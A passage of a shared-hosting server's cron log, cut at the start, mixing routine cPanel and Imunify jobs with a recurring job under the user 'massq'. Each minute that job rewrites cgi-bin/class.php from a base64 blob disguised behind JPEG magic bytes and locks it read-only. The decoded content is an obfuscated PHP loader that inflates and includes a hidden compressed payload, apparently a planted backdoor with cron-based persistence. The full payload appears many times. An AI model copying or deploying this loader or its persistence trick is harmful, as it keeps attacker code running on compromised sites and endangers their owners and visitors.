NLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 06:12:01 server CROND[21462]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 06:13:01 server CROND[21844]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 06:13:01 server CROND[21843]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 06:13:01 server CROND[21845]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 06:14:01 server CROND[22221]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 06:14:01 server CROND[22222]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 06:14:01 server CROND[22223]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 06:15:01 server CROND[22618]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 06:15:01 server CROND[22640]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 06:15:01 server CROND[22643]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  6 06:15:01 server CROND[22644]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 06:15:01 server CROND[22651]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt >/dev/null 2>&1)
Sep  6 06:15:01 server CROND[22647]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  6 06:15:01 server CROND[22652]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 06:15:01 server CROND[22650]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 06:15:01 server CROND[22646]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 06:15:01 server CROND[22658]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 06:16:01 server CROND[23773]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 06:16:01 server CROND[23774]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 06:16:01 server CROND[23775]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 06:17:01 server CROND[24221]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 06:17:01 server CROND[24222]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 06:17:01 server CROND[24223]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 06:18:01 server CROND[24660]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 06:18:01 server CROND[24661]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 06:18:01 server CROND[24662]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 06:19:01 server CROND[25047]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 06:19:01 server CROND[25049]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 06:19:01 server CROND[25051]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 06:20:01 server CROND[25444]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 06:20:01 server CROND[25445]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 06:20:01 server CROND[25446]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 06:20:01 server CROND[25449]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 06:20:01 server CROND[25450]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 06:20:01 server CROND[25454]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 06:20:01 server CROND[25457]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 06:20:01 server CROND[25452]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 06:20:01 server CROND[25453]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 06:21:02 server CROND[26382]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 06:21:02 server CROND[26383]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 06:21:02 server CROND[26384]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 06:22:01 server CROND[26768]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 06:22:01 server CROND[26769]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 06:22:01 server CROND[26770]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 06:23:01 server CROND[27159]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 06:23:01 server CROND[27160]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 06:23:01 server CROND[27161]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 06:24:01 server CROND[27541]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 06:24:01 server CROND[27542]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 06:24:01 server CROND[27543]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
